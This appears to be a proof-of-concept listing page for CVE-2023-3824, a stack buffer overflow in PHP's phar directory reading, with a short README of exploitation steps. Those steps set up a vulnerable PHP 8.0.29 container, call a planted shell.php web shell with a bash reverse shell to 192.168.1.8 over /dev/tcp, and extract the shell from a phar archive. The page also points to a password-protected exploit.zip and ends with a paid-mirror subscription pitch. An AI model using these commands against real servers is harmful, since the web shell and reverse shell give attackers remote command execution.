CVE-2023-3824 PoC — Buffer overflow and overread in phar_dir_read()

Source

https://github.com/dadosneurais/cve-2023-3824

Associated Vulnerability

Title:Buffer overflow and overread in phar_dir_read() (CVE-2023-3824)
Description:In PHP version 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE.

Readme

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash
echo "phar.readonly = Off" >> /usr/local/etc/php/php.ini

http://localhost:8080/shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.1.8/5050 0>%261'

php -r "\$phar = new Phar('exploit.phar'); \$phar->extractTo('./', 'shell.php');"

exploit.zip
  pass: infected

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →